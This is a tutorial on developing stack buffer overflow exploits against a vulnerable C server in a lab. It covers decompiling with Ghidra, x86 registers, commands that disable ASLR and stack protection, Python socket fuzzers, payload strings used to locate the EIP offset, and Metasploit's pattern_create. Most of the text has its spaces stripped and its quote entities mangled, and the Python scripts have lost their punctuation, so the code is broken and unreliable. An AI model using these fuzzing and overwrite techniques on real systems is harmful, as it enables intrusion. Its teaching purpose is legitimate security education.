WhathappenedhereItwouldappearthatwesentthesamenumberofldquoArsquosrdquototheprogrambutweexitednormallyanddidnotreceiveasegmentationfaultattheinstructionpointerWhyWellwithoutknowingthesourcecodewecanrsquotreallysayAlthowecanguessthatwithouttheldquoPrefixrdquobytesthenwearenotover-writingthestackenoughandneedmoreldquoArsquosrdquoAlsolookhowtheldquoWillReadrdquoandldquoReadrdquoseemstobeallwhackyandnotmakemuchsensePreviouslytheclientpyscriptsentthestringldquo1050rdquointhemessageandtheservertolduswesent1050bytesbutonlybecauseldquo1050rdquostringwasprefixedontothemessageviatheclientSincethenetcatcommanddoesnrsquothavethatlogictheldquoprefixrdquoismissingandourserversidecodedoesnrsquotknowwhattodoThiscouldresultinsomelogicfailureearlyinthesourcecodekeepingyoufromfeedingthoseldquoArsquosrdquointoavulnerablefunctionthathidesdeeperinthestackwaitingforajuicy0-day(-
ReversingCompiledBinariesInthecaseoftheexampleclientpywegetluckyandcansimplyreverseengineerthepythonsourcecodeIfweweredealingwithacompiledclientbinarythenIrsquodsaystartwithldquofilerdquoandldquostringsrdquocommandandthenmoveontode-compliationLetrsquostryfileandstringsonourserversidecompiledcodejustforkicks
WecanseeitsacompiledELFbinarythepre-processordirectivebeingusedandlaterinthestdoutofstringcommandwecanseethestringtheprintfgivesusRememberifweonlyhadthecompiledbinariestoworkwiththensuccessfullyfuzzingthisapplicationmaygiveusproblemsbecauseoftheunknownldquoprefixrdquothatisappendedtotheclientpymessageSohowdowefigurethisoutifwedonthaveaccesstothesource-codeNSAGHIDRAtotheRescueOurfriendsattheNSArecentlyannouncedwhatIconsideraprettykickasstoolGHIDRAToquotedirectlyfromWIKIldquoGhidraisafreeandopensourcereverseengineeringtooldevelopedbytheNationalSecurityAgency(NSA)ThebinarieswerereleasedatRSAConferenceinMarch2019thesourceswerepublishedonemonthlateronGitHubGhidraisseenbymanysecurityresearchersasacompetitortoIDAProandJEBDecompilerrdquo
LetrsquossayonewayoranotherwegetourhandsonsomecompiledclientorserverbinariesandneedtodoadeepdivemaybetodevelopourownmyintelligentfuzzerWhatmightthatlooklikeDownloadtheGhidrasourcecompileandrunThensimplyimportyourbinaryThatrsquosit
YoursquollwanttousetheldquoCodeBrowserrdquointheGHIDRAtoolchestFromthereimportyourcompiledbinaryGhidrawilldothede-compilationmagicforyoufromthereAsillustratedbelowIrsquovepulledupthecompiledvulnServerCassemblycodeandGhidarsquosguessatthede-compiledfunctionsourcecodeThesourcecodewonrsquotmatchexactlybutyouwillbeabletoviewthefunctionandthelogicwhichwillallowyoutofindinsecurefunctionsandcustomfunctionsthatcreatesimilarproblems
WhatdoesallthismeanWellIbasicallywentthrougheachfunctionlookingforanyargumentthatmightbeinterestingIfyounoticedIrsquovehighlightedthex86op-codeatmemorylocation0x001012dwhichinvokesaCALLtoREAD()andsomesubsequentMOVrsquoswhicharelikelyaddingnewthe4BytestosomememorylocationThecorrespondingCcodeforthatassemblyissograciouslypositionedtotherightofourassemblyinstructionsLetrsquoslearnalittlebitabouttheREAD()functioninC
ssize_tread(intfsvoidbufsize_tN)ldquoFromthefileindicatedbythefiledescriptorfstheread()functionreadsNbytesofinputintothememoryareaindicatedbybufrdquoSotheprogrammerherewrotethisapplicationtoonlyreadthefirst4bytesofsomethingReadingfurtherintothedecompiledsourceweprintfthattellsuswerereadingtheldquoMessagerdquoakathepayloadorclientissendingSowersquorereadingthefirst4bytesoftheclientpayloadandstoringitintoavariablethatisthenbeingprintedbacktousinthevulnerableServerwhichprintsitrsquosldquoValuerdquoakanumberofBytes
Itlookslikethisisa4byteldquopre-fixrdquowhichisbasicallytheLEN(PAYLOAD)sentfromtheclientYoucanvalidatethisbelookingbackatthepythonclientcode
FormetheimportanttakeawaygoesbacktothatquoteearlierldquoYoucaneitherthrowabunchofgarbageattheprogramoryoucanunderstandwhatthecodeisexpectingrdquoIfwewereinadifferentsituationandwehadtowriteourownPythonfuzzingclientfromscratchwenowknowwhattheserverisexpectingfromtheclientFromherewecanreverseengineerourownfuzzingclientinwhateverlanguageyouwantWhenIfirstlearnedbufferoverflowsitwaswithwellknownvulnerableserversandtheldquoclientrequestrdquomessagewaswelldocumentedTherealityisthatdeeperstaticcodeanalysisisgenerallyrequiredforbufferoverflowsresearch
CrashingtheStackFinallyrightitrsquosalongstrangetripSo
WehavesomebasicskillsinC WehaveavulnerableCserverlisteningonthelocalnetwork WehaveeitheracustomorgenericclientforcommunicationtotheVulnerableServer WeunderstandweneedtoFuzztheprogramsarguments
Weusedsometoolstoreverseengineercompiledbinariesincaseweneedtogetcreativewiththefuzzypayload
Asaself-taughttechnologistoneofthemostdifficultareasIstruggledwithwasunderstandingwhatwasgoingonunderthehoodIstartedmyldquoTechyrdquojourneywritingJavaSCriptandHTMLbecauseitwaseasyandIcouldgetimmediatevisualfeedbackviachangesinthebrowserWorkingdownthestackintoCprogramingandx86x64LinuxandWindowsarchitectureswasandstillisnoteasyEitherWaylearninglowleveldebuggingisnecessaryWhatrsquosabufferldquoAbufferissimplyacontiguousblockofcomputermemorythatholdsmultipleinstancesofthesamedatatypeCprogrammersnormallyassociatewiththewordbufferarraysMostcommonlycharacterarraysArrayslikeallvariablesinCcanbedeclaredeitherstaticordynamicStaticvariablesareallocatedatloadtimeonthedatasegmentDynamicvariablesareallocatedatruntimeonthestackTooverflowistofloworfilloverthetopbrimsorboundsWewillconcernourselvesonlywiththeoverflowofdynamicbuffersotherwiseknownasstackbasedbufferoverflowsrdquo-SmashingtheStackbyAlephOneMostconfusingtomewashowthestackrelatesbacktoBufferandhowtheassemblylanguagefitsintothepuzzleSomeself-pacedlabshadmebreakopenadebuggertothesightofthishellip
TheScarydebuggerUI
IpersonallydecidedtogetofftheUIdebuggerbecauseitldquohadtoomanywindowsrdquoatthetimeLaterinthispaperIflipbacktotheUIbecauseitmadememorydumpseasytovisualizeWewillstartwithlinuxGDBintheterminalJustseemedalotcleanerviewandteachesyoumoreabouttheGUIversionAlthoughlearningtheterminalcommandstakemoretimethanclickingawindowtheyarebestforbeginners
NativeEDBinTerminal
OkaysoIputthesepicturesfirsttoputthebigbadscaryscreenswithldquoTheMatrixrdquofontoutofthewayHonestlyitrsquosnotthatbadIrsquovesynthesizedmynotesdowntoafewimportantthingsUnderstandtheBasicsofMemoryManagementIfoundanarticlethatbrokedownthebasicsofmemoryandthestackinawaythatreallyhelpedputthepiecestogetherAsanyonemovespastbasicNOPsledsintomoreadvancedexploitwritingthefollowingnotesareabsolutelycriticalFlipbackandforthbetweenthedefinitionsandtheimagesafewtimes
1 CommandlineargumentsandenvironmentvariablesTheargumentspassedtoaprogrambeforerunningandtheenvironmentvariablesarestoredinthehighmemoryaddresssection
2 StackThisistheplacewhereallthefunctionparametersreturnaddressesandthelocalvariablesofthefunctionarestoredItrsquosaLIFOstructureItgrowsdownwardinmemory(fromhigheraddressspacetoloweraddressspace)asnewfunctioncallsaremadeWewillexaminethestackinmoredetaillater
3 HeapAllthedynamicallyallocatedmemoryresideshereWheneverweusemalloctogetmemorydynamicallyitisallocatedfromtheheapTheheapgrowsupwardsinmemory(fromlowertohighermemoryaddresses)asmoreandmorememoryisrequired
4 Uninitializeddata(BssSegment)AlltheuninitializeddataisstoredhereThisconsistsofallglobalandstaticvariableswhicharenotinitializedbytheprogrammerThekernelinitializesthemtoarithmetic0bydefault
5 Initializeddata(DataSegment)AlltheinitializeddataisstoredhereThisconstistsofallglobalandstaticvariableswhichareinitialisedbytheprogrammer
6 TextThisisthesectionwheretheexecutablecodeisstoredTheloaderloadsinstructionsfromhereandexecutesthemItisoftenreadonly
MemoryArchitecture
RegistersampldquoTheStackrdquohellipakascarystuffYoulikelyalreadyknowthatcomputerprocessoroperationsmostlyinvolveprocessingdatathatyouprovideitHowevertoprocessyourdatathecomputerneedstostoredataandaccessitDatacanbestoredondiskstoredinmemoryorstoredinCPUmemoryforexampleHoweverreadingdatadiskfromRAMandalltheIOassociatedwithgettingdataintomemoryslowsdowntheprocessingAlltheoperationstomovedataroundbasicallyinvolvescomplicatedprocessesofsendingthedatarequestacrossthecomputerrsquoscontrolbusandintothememorystorageunit(MSU)andgettingthedatathroughthesamechannelTospeeduptheprocessoroperationstheprocessorisbuiltwithsomeinternalmemorystoragelocationscalledregistersRegistersstoredynamicvariablesoperationstoperformcalculationsandinstructionstotelltheCPUwhattodonextThisisldquoTheStackrdquoldquoTheregistersstoredataelementsforprocessingwithouthavingtoaccessthememoryAlimitednumberofregistersarebuiltintotheprocessorchiprdquoBasicallyregistersarewhereyouputimportantstuffthatneedstobeprocessedbytheCPUWhatdoesthatmeanAddingsubtractingorwhateveryouneedtodotocreateordisplayldquostuffrdquoinyourprogramLetrsquosdigintothemessy
detailsitwontbefunnyyoursquollneedtore-readandafterreadingafewtimesdonrsquotbeafraidthatyoudonrsquotrememberitallJustbustopenadebuggerandstarttinkeringaroundProcessorRegistersWersquoregoingtofocuson32bitoperatingsystemThereareten32-bitandsix16-bitprocessorregistersinIA-32architectureTheregistersaregroupedintothreecategoriesminus
Generalregisters Controlregisters Segmentregisters
Thegeneralregistersarefurtherdividedintothefollowinggroups
Dataregisters Pointerregisters Indexregisters DataRegisters
DataRegistersFour32-bitdataregistersareusedforarithmeticlogicalandotheroperationsThese32-bitregisterscanbeusedinthreewaysRememberXfordataregardlessof32or64bit
1) Ascomplete32-bitdataregistersEAXEBXECXEDX2) Lowerhalvesofthe32-bitregisterscanbeusedasfour16-bitdataregistersAXBXCXandDX3) Lowerandhigherhalvesoftheabove-mentionedfour16-bitregisterscanbeusedaseight8-bitdataregisters
AHALBHBLCHCLDHandDL
Someofthesedataregistershavespecificuseinarithmeticaloperations
AX is the primary accumulator it is used in inputoutput and most arithmetic instructions For example in
multiplicationoperationoneoperandisstoredinEAXorAXorALregisteraccordingtothesizeoftheoperand
BXisknownasthebaseregisterasitcouldbeusedinindexedaddressing
CXisknownasthecountregisterastheECXCXregistersstoretheloopcountiniterativeoperations
DX is known as the data register It is also used in inputoutput operations It is also used with AX register along with
DXformultiplyanddivideoperationsinvolvinglargevalues
PointRegisters(IPissuperimportantreadaboutitoverandoveragain)The pointer registers are 32-bit EIP ESP and EBP registers and corresponding 16-bit right portions IP SP and BP
Therearethreecategoriesofpointerregisters
Instruction Pointer (IP) minus The 16-bit IP register stores the offset address of the next instruction to be
executed IP in association with the CS register (as CSIP) gives the complete address of the current
instruction in the code segment NOTES IP will control the next instruction executed hellip like say our
malware
Stack Pointer (SP) minus The 16-bit SP register provides the offset value within the program stack SP in
association with the SS register (SSSP) refers to be current position of data or address within the program
stack NOTES Might give you a reference point to look higher in memory to find our malware in
bufferNOPsledaddresses
Base Pointer (BP) minus The 16-bit BP register mainly helps in referencing the parameter variables passed to a
subroutine The address in SS register is combined with the offset in BP to get the location of the parameter
BP can also be combined with DI and SI as base register for special addressing NOTES Base pointer
tracks the memory location between your Dynamic Variables and registers and your buffer etc BP
isagoodreferencepointforfindingsmemorylocationsupintoregistersordownintoyourbuffer
Therersquos also a lot of talk about assembly At first glance when assembly is in the debugger it looks really complicated
and scary Quite frankly I still havent mastered it but while you learn there are a few core concepts and operational
codestostartwiththatmostoverflowstutorialsseemtoincludehellip
Irsquom going to list what might seem like some scary and complicated stuff but read it and then look at the pictures
following it then go back and reread this section againhellipIf youre not ready jump into the picture directly at the end
andcomebacktoreading
ControlFlowInstructions
The x86 processor maintains an instruction pointer (IP) register that is a 32-bit value indicating the location in memory where the
currentinstructionstarts
Normally it increments to point to the next instruction in memory begins after execution an instruction The IP register cannot be
manipulateddirectly(Butitcanbeoverwritten)butisupdatedimplicitlybyprovidedcontrolflowinstructions
We use the notation ltlabelgt to refer to labeled locations in the program text Labels can be inserted anywhere in x86 assembly code
textbyenteringalabelnamefollowedbyacolonForexample
movesi[ebp+8]
beginxorecxecx
moveax[esi]
The second instruction in this code fragment is labeled begin Elsewhere in the code we can refer to the memory location that this
instruction is located at in memory using the more convenient symbolic name begin This label is just a convenient way of expressing
thelocationinsteadofits32-bitvalue
jmpmdashJump
Transfers program control flow to the instruction at the memory location indicated by the operand You might use this to ldquoJumprdquo into
amemorylocationthatishostingthemalware
Syntax
jmpltlabelgt
Example
jmpbeginmdashJumptotheinstructionlabeledbegin
callretmdashSubroutinecallandreturn
These instructions implement a subroutine call and return The call instruction first pushes the current code location onto the
hardware supported stack in memory (see the push instruction for details) and then performs an unconditional jump to the code
location indicated by the label operand Unlike the simple jump instructions the call instruction saves the location to return to when
thesubroutinecompletes
The ret instruction implements a subroutine return mechanism This instruction first pops a code location off the hardware supported
in-memory stack (see the pop instruction for details) It then performs an unconditional jump to the retrieved code location A series of
instructionsthatendinRETareoftenchainedtogethertobypassstackprotectionswhichyouwillfindoutlater
Syntax
callltlabelgt
ret
DataMovementInstructions
movmdashMove(Opcodes88898A8B8C8E)
The mov instruction copies the data item referred to by its second operand (ie register contents memory contents or a constant value)
into the location referred to by its first operand (ie a register or memory) While register-to-register moves are possible direct
memory-to-memory moves are not In cases where memory transfers are desired the source memory contents must first be loaded
intoaregisterthencanbestoredtothedestinationmemoryaddress
Syntax
movltreggtltreggt
movltreggtltmemgt
movltmemgtltreggt
movltreggtltconstgt
movltmemgtltconstgt
Examples
moveaxebxmdashcopythevalueinebxintoeax
movbyteptr[var]5mdashstorethevalue5intothebyteatlocationvar
pushmdashPushstack(OpcodesFF898A8B8C8E)
The push instruction places its operand onto the top of the hardware supported stack in memory Specifically push first decrements
ESP by 4 then places its operand into the contents of the 32-bit location at address [ESP] ESP (the stack pointer) is decremented by
pushsincethex86stackgrowsdown-iethestackgrowsfromhighaddressestoloweraddresses
Syntax
pushltreg32gt
pushltmemgt
pushltcon32gt
Examples
pusheaxmdashpusheaxonthestack
push[var]mdashpushthe4bytesataddressvarontothestack
popmdashPopstack
The pop instruction removes the 4-byte data element from the top of the hardware-supported stack into the specified operand (ie
register or memory location) It first moves the 4 bytes located at memory location [SP] into the specified register or memory location
andthenincrementsSPby4
Syntax
popltreg32gt
popltmemgt
Examples
popedimdashpopthetopelementofthestackintoEDI
pop[ebx]mdashpopthetopelementofthestackintomemoryatthefourbytesstartingatlocationEBX
leamdashLoadeffectiveaddress
The lea instruction places the address specified by its second operand into the register specified by its first operand Note the
contents of the memory location are not loaded only the effective address is computed and placed into the register This is useful for
obtainingapointerintoamemoryregion
Syntax
lealtreg32gtltmemgt
Examples
leaedi[ebx+4esi]mdashthequantityEBX+4ESIisplacedinEDI
leaeax[var]mdashthevalueinvarisplacedinEAX
leaeax[val]mdashthevaluevalisplacedinEAX
In this write up and many blogs yoursquoll pay close attention to IP ESP and JMP in the vulnerable program However the other assembly
commands are good for understanding generally how higher level code gets executed and for other potential overflow techniques So
letrsquos summarize all this into a simple picture I found this while watching a Youtube video by ComputerPhile I thought it summarized
everythingquitenicely
On the left hand side you have the storage location we discussed previously For example you have you ldquoStackrdquo and ldquoHeaprdquo called out
The right hand of this picture basically breaking down the stack into some of the locations that get put into the stack Say a math
function parameters (ie your dynamic variables in code) your return address or Instruction Pointer IP etc etc Okay so to a noob
maybethisdoesntmeanalotsoletrsquosmoveontosomemorevisualexamplesfirstbeforewetalkaboutanymoreldquocoderdquo
SowehaveabufferandsomeotherCPUbasedmemoryspacesforthoseregisterslocationsAllthatassemblycodeishelpingusadd
thingsintotheregistrylocationjumptonewfunctionsincodetakethingsoutanddomathematicaloperationsforyourfunctionsinthe
higherlevelcode
IfyoureadalongotherpartsoftheregistryareusedforstoringpointerstothenextfunctionprogramordatainourbufferetcInthis
pictureifyousendldquoToomuchdatardquototheprogramandyourprogramhasnoboundscheckingthenthebuffercanoverflowyour
instructionpointerIfyoucanoverwriteaninstructionpointer(akaIPEIP)withthememorylocationofyourmalwarethenyoucantrick
theprogramintoexecutingyourmalwarewiththeprogramspermissions
OverflowtheBufferCrashintotheStackWriteaReturnAddressintoEIPthatpointsbacktoyourmalware
LetrsquosbreakdownthevulnerableservercodeinAssemblytobetterunderstandwhatrsquoshappeningwhenwefuzztheapplicationand
overflowwithabunchofArsquosandBrsquosTypeobjdump-dVulnerableServer
1 TheaddressofvulnReadstartsatmemoryaddress78dinhex
2 x414inhexor1044indecimalbytesarereservedforthelocalvariablesBecauseofincludeBUFFER_SIZE=1024alarge
isallocatedasalocalvariable
791 81ec14040000 sub$0x414esp
3 Theaddressofthebufferstarts0x410inhexor1040indecimalbytesfrombase-pointerebpThismeansthat1040bytesare
reservedforbufferbutrememberthatBUFFER_SIZE=1024
8d85f0fbffff lea-0x410(ebp)eax
4 Memorylocationsseemtobeaddingandsubtractingbasedonspaceneededtostoredifferentoperationsandmemory
locationsUntilfinally
5 Later-0x40c(ebp)eaxor1036arereservedandatmemorylocation7e6weseeacallto550ltreadpltgt
defineBUFFER_SIZE1024
defineHEADER_SIZE4
EIP(ReturnAddresstonextfunction)
EBPofVuln_Read(BasePointer)
to_read
buffer
read_bytes
Lastvariable(StackPointer)
So1040byteofmemorywasallocatedandthestackgrowsdownfromEBPSomeassemblyoperationsoccurandvariablesarestored
andpointersandupdatedandthememorygrowsandshrinksWithoutbeinganassemblygeniusweseethespecificfunction
(readplt)withthevulnerabilitycalledandcaninferthatthebufferallocationbeforethatisusedforthefunctioncallInthiscase1036
availablebytesLetrsquosbreakthatdown
1036bytesforthebuffer+4bytesforEBP+4bytesforEIP(InstructionPointer)
AnotherimportantpieceofthepuzzleistoldquoFindrdquothecodethatyoujustputintothebufferInourexamplethatwillbeabunchofArsquos
thatweuseduringfuzzingHoweverasweprogresstheArsquoswillgetreplacedwithmalwarebecauseabunchofArsquosarentthatuseful
outsidethecontextoflearning
Afterwefindthecodewewanttobesurethatthecomputerwillldquomove-alongrdquountilitgetstowhateverdataweputintothebufferThe
reasonforthisisbecauseknowingldquoexactlyrdquowherethecomputerputsourArsquosBrsquosandCrsquosishardWemightoverwriteallthoseldquoArsquosrdquo
ldquoBrsquosrdquoandldquoCrsquosrdquobutfindingtheexactmemorylocationthecomputerdecidestoputtheminisnotalwaysviablebecausememory
locationsmovearoundabitPluswewanttomakesurethatthecomputerdoesnrsquotexitorterminateexecutionbeforeitgetstotheBrsquosor
laterourldquomalwarerdquo
Themostbasictechniquetoaddressthisiswithx90NOP(nooperation)WereplaceourArsquos(x41)withx90andthattellsthe
computertojustldquomovealongrdquountilyougettothenextinstructionAsanoobitgivesusabiglandingpadtofindLookbelowatthe
pictureaboveandyoursquollseeanarrowthatpointsbacktotheldquoBufferrdquowithabunchofx90sThismeanswewillputaninstructioninto
IPEIPthatreturnsthecomputerbacktothebufferandtheRETURNwilllandintoabunchofNOPSandthenslidedownintotheBrsquosin
ourprogram
Thefollowingtwopicturesreallyputeverythingintoperspectiveformeignorethebuffersizenumbers
EnoughtheoryshowmeTheCode
DisablingDEPASLR
YoumustdisableASLRandDEPonalabmachinetolearnthebasicbufferoverflow
ASLR-Linux
echo0|sudoteeprocsyskernelrandomize_va_spaceDEPPassedascommandlineargumentinMakefileoratgcccommandline
-fstack-protector-Waexecstack
Onax86linuxarchitecturewithDEPASLRdisabledhellipLetrsquosgiveitashotfirstwersquollrunthevulnerableserverPoCwithinGDB
compilesthevulnerableCprogramwithanumberofprotectionsremovedDisabling-fstack-protectorremovessomemodernprotectionagainstoverwritingtheinstructionpointerLetrsquosdeferuntillaterexecstackwillmarkbinaryorsharedlibraryasrequiringexecutablestackMakefileallor
gcc-gvulnServerc-fno-stack-protector-z-Waexecstack-oServergdbServer1337
OkaysothevulnerableTCPserverisloadedintoGDBGDBisadebuggertogiveasaccessintothememoryregistersassemblyetcetcIfyourefamiliarwithwebdevelopmentlikeIwastheconceptofsettingbreakpointsatdifferentmomentsinthecodewasveryfamiliarItseemsintimidatingbutareallygoodcheatsheetishere
GDBCheatSheet
httpswwwcheatographycomfristlecheat-sheetsclosed-source-debugging-with-gdbFromtheterminaltype
run1337
NowitrsquostimetoldquoFuzzrdquoWealreadywentthroughsometheoryandrationalebeforebutitwasnrsquotdescribedinandend-to-endtypeofcontextArefresherhellipldquoFuzztestingorFuzzingisaBlackBoxsoftwaretestingtechniquewhichbasicallyconsistsinfindingimplementationbugsusingmalformedsemi-malformeddatainjectioninanautomatedfashionrdquoldquoYoucaneitherthrowabunchofgarbageattheprogramoryoucanunderstandwhatthecodeisexpectingrdquoIfyourememberIprovidedsomesimplecommandstoillustratetheexampleForthisapplicationwecandoitcompletelyhandsonpython-cprintx41overflowpython-cprintx41[offset]+x42[4]+x43[Overflow-offset-4]python-cprintx90[offset]+InstructionPointer[4]+x90[Overflow-offset-4]Sowecouldapproachthisacoupleofways
1 Gobackintothereversedengineeredbinariesandtrytodeterminewhatourbuffersizeisthroughthesourcecodeandassembly
2 RuntheprogramthroughthrewGDBandsetbreakpointsandfindops-codethatindicateBUFFERvariablesize3 Writeaniterativefuzzingscripttofindtheoverflowpoint
WritingthefuzzingscriptwasthebestlearningexerciseformeSowersquoregoingtocoverthatherequicklyLetrsquosstartwithgeneratingabunchofdatawiththecommandbelowIrsquomgoingtojustincreasethenumberofAsby10threetimes Examplepython-cprintx41overflowpython-cprintx4110python-cprintx4120python-cprintx4130
AllwersquoredoingiscreatingabunchofArsquosWedothisbecausewedonrsquotknowthemagicnumberofbyteswhereourattackpayloadwillresultinanoverflowThatrsquosthefuzzWewillneedtomodifythebasicpythonfuzzingexampletofittheuniqueldquopre-fixrdquothatisbuiltintothevulnerableserverlogicWewillreusetheBLACKpartsofthecodeslogicbelowandcopyintotheclientpyscriptusrbinpythonimportsocketCreateanarrayofbufferswithArsquosfrom1to5900usingincrementsof200Incrementsof200arearbitraryyoucouldusen++ifyouwanttowaitlongerWhateverbuffer=[A]counter=100whilelen(buffer)lt=30
bufferappend(Acounter)counter=counter+200
forstringinbufferprintFuzzingPASSwithsbyteslen(string)s=socketsocket(socketAF_INETsocketSOCK_STREAM)connect=sconnect((101110167110))srecv(1024)ssend(USERtestrn)srecv(1024)
ssend(PASS+string+rn)ssend(QUITrn)sclose()FirstletrsquoscreatecopyoftheoriginalclientsourcecodecpclientpyclientPoCpyNowletrsquosmakethefollowingchangestoclientPoCpyhellip usrbinpythonimportsocketimportstructimportsysiflen(sysargv)=2printUsage+sysargv[0]+[port]sysexit(1)
MESSAGE=Awhilelen(MESSAGE)lt=1000000mayneedtobeincreasedbasedonyourtargetbuffersize
DEST_IP=127001hostyourvulnProgramsislisteningonDEST_PORT=int(sysargv[1])counter=100
MESSAGE+=(Acounter)increasingthefuzzpayloadofAscounter=counter+100100hereisarbitrarysmallerwillbemoreaccuratebuttakelonger
print(lengthoffuzzoverflowis)print(len(MESSAGE))Foreducationalpurposes
forstringinMESSAGE
defconvert(MESSAGE)raw=raw+=structpack(ltIlen(MESSAGE))Serverexpectsapre-fixtellingyouthebuffersizeraw+=MESSAGEreturnraw
print(convert(MESSAGE))testpurposess=socketsocket(socketAF_INETsocketSOCK_STREAM)sconnect((DEST_IPDEST_PORT))ssend(convert(MESSAGE))data=srecv(1024)
sclose()printReceiveddatadataLetrsquosrunthepythonclientpyscriptandthevulnerableCtcpserverWersquollseethatthepythonscriptwillactasexpectedandbeginiteratingthroughthewhileloopandincreasingthenumberofArsquosIrsquoveincludedaprint()soyoucanwatchtheArsquosgrowastheclientrunsIfyouruntheclientterminalandtheserverterminalsidebysideyoursquollbeabletocomparetheclientpayloadbeingsenttothepayloadbeingreceivedbythevulnerabletcpserver
HopefullyyouruntheattackagainstyoursquorevulnerabletcpserverwhileinEDBmodeYoursquollnoticeaSIGSEGVerroratbytelengthof1101ASIGSEV(segmentationfault)oraccessviolationisafaultorfailureconditionistypicallyraisedbyhardwareasamemoryprotectionmechanismwhenyourprogramattemptstoaccessamemorylocationthateitherdoesnotexistorthatyourprogramisnotallowedtoaccessInthiscaseweoverwroteourEIP(instructionpointer)withamemorylocationof0x4141414orinotherwordsfourArsquos
ThenextpartiscriticalandIoverlookeditthefirstfewtimesIwastryingtounderstandhowthestackbufferrelatestotheregistersAt1101bytestheprogramcrashesHoweverwedonrsquotknowhowfarintotheregisterwewroteourArsquosBecausethisisopensourcecodeweknowthatthebufferwas1024bytesandwewroteout1101bytessoitrsquoslikelyweoverwrite77bytesworthofspaceoverourregisters
WhydowecareWewanttomodifyourinstructionpointerorEIPinx86IfwecanpreciselyoverwriteEIPwiththememorylocationofourprogramthenwecantricktheCPUintoexecutingourmaliciouscodeToillustrateIdrewanXthroughthereturnarraybackintoourbeforebecauseweonlyhaveabunchofArsquosinthereLetrsquossaywewanttowrite4Brsquosinthe4bytespaceinthereturnpointerTheBrsquos(x42)arearbitraryandonlyusedtoillustratethepointIfwewanttowriteBrsquostoaspecificregisterthenweneedtofigureouttheexactnumberofbytestostopwritingArsquosandstartwritingBrsquosManualbinarytreeanalysisisthebestforabeginnerinmyopinionMainlybecauseyoursquollneedtomanuallyworkyourwaythroughthebytesizelengthsmakingeducatedguesseswhileatthesametimelookingattheregistersandldquovisualizingrdquohowitallworks
Soifwehaveacrashatletrsquossay1100WecansplitthenumberofArsquosandBrsquosinto550Doingthismanuallyjustforkickspython-cprintx41550+x42550
Letrsquosusetheoriginalclientpy(notthefuzzer)andreplacetheldquoHELLOrdquomessagewithournewbufferwejustcreatedRestartthevulnerabletcpapplicationinGDBandruntheclientpywithourAandBrsquosbufferPuttingtheapplicationside-by-sideweseethat1100byteweresenthalfAsandhalfBrsquosHoweverthistimetheSIGSEGVshowsthatourinstructionpointerwasoverwrittenwithBrsquos(x42)
LetrsquostakeourfirstlookintotheregisterstoseewhatrsquosgoingonTypeldquoinfoall-registersrdquo
EachtimeyourunthroughthebinarytreecreatenewbuffermakesureyoulookintotheregistersTheoutputshowsusthatouroverflowisinourBrsquosbecauseweseex42hasoverwrittensomeofthedataregistersandthepointerregisters(X)isdataand(P)ispointerbytheway(-8Nowweneedtogofartherdownthebinarytreetofindtheexactlocationtowriteonly4bytesofBs(x42s)SowersquollmodifyourbuffertoincludesomeCrsquosWersquolldivide11003=andapproximate366+366+368python-cprintx41366+x42366+x43368
LetrsquosupdatetheoriginalclientpyscriptagainwithournewbufferandruntheattackagainstthevulnerableserverintheEDBBythewayIfoundVIMtobefarsuperiorforreplacinglargebuffersizewordsallatonceandnavigatingbackandforthtothebeginningandendofline(-8hellipafterfatthumbingitafewtimesweplacetheclientandtheserverside-by-sideandobservewhathappened
ThistimetheSIGSEGVshowsthatourinstructionpointerwasoverwrittenwithCrsquos(x43)TheoutputshowsusthatouroverflowisinourCrsquosbecauseweseex43hasoverwrittensomeofthedataregistersandthepointerregisters(X)isdataand(P)ispointerbytheway
WecansaytheresultsofthismakesensebecausewehavethesourcecodeWeknowthatthebufferisallocated1024bytesasapre-processorinstructionAtthispointourArsquosandBrsquosonlyequalatotalof366+366=732bytesNotenoughtooverflowthe1024butanother386isenoughtocrashintothestackrsquosregistersLetrsquoskeepgoingWersquolldividetheCrsquosupnextupdateourclientbufferandretesttheprograminEDBpython-cprintx41366+x42366+x43184+x44184ThistimeweseethefaultoccursintheDrsquoswichmeanswearegettingverycloseSincewersquoreontherighttrackandknowweneedtogetdownintoonly4bytesletrsquosbreaktheDrsquosdownfurther
python-cprintx41366+x42366+x43184+x4462+x4562+x4662
AtthispointIrsquomgettingtiredandthisisgettingoldbutweknowtheoverflowissomewhereinthelast62bytesSoletrsquospauseandaskourselveshowcouldwehavedonethisfasterWerememberouriteratorinthefuzzerTherewasareasonwhyIprintedthebytesizelengthtoscreenLetrsquosgobacktoapictureofourfuzzer
Sobetween1000and1100theoverflowoccursForfastresultswecouldrepeatthebinarytreeanalysiswhereonthelast100byteshellip
python-cprintx411000+x4225+x4325+x4425+x4525
That was much faster In one run we already know that the overflow falls somewhere within the Crsquos or x43s That could be anywhere
up to 1050 bytes This makes sense because we know our buffer is 1024 and we have an idea that there are some other registers that
mightgetoverwrittenbeforeourcodemakesitrsquoswaytotheinstructionpointerLetrsquosbreakdownthose25Crsquosinto8Crsquos8Drsquos9Ersquos
python-cprintx411000+x4225+x438+x448+x459
Now our fault occurs in our Ersquos or x45rsquos Simple math tells us that is somewhere between ~ 1040-1050 bytes and we know our registers
are4byteor32bitregistersthereforewecanbreakthatfinal9Ersquosinto4Ersquosand4Frsquosandseewhathappens
python-cprintx411000+x4225+x438+x448+x454+x464
Close 3 bytes of Ersquos or 3 x45rsquos but look closely one byte of D or x44 This means we need to subtract one D (x44) I feel like wersquore
onestepaway
python-cprintx411000+x4225+x438+x447+x454+x464
BoomThatrsquosit4bytesofErsquosor4x45rsquosLetrsquoscrackopenourregistersandconfirmthatwehavecontroloverourinstructionpointer
Okay so letrsquos recap You can save time during binary tree analysis if you print your fuzzerrsquos buffer to screen In this case we know the
crash occurred between 1000 and 1100 We also learned that our instruction pointer was well being overwritten with As We need to
find the exact location of the 4 byte EIP register because later we want to put a memory location of our ldquomalwarerdquo and tell the computer
to return to our malware in buffer If you noticed that the 44rsquos were at the end of EIP and not the beginning good catch This is because
Intel x86 is little endian meaning that the instructions are considered ldquobackwardsrdquo when provided to the CPU Basically it reads from
right-to-leftrelativetotheorderyousuppliedthedata
FindingInstructionPointerthefastway
Lucky for us there is a nice little program which helps us solve this problem much more quickly Unfortunately I found that when your
taught to use this program without learning the manual way then you may not understand what and why exactly you are using the
program
httpsgithubcomrapid7metasploit-frameworkblobmastertoolsexploitpattern_createrb
Soourfuzzertoldusthecrashhappenedatapproximately1100bytes
rootkali~locatepattern_createusrsharemetasploit-frameworktoolsexploitpattern_createrb
rootkali~usrsharemetasploit-frameworktoolsexploitpattern_createrb-l1100
This will create a pattern where each 4 bytes is a unique string Gosh I wish someone told me that You will paste the output from this
command into your clientpy buffer and overflow the program You will then receive a segmentation fault and go back into the registers
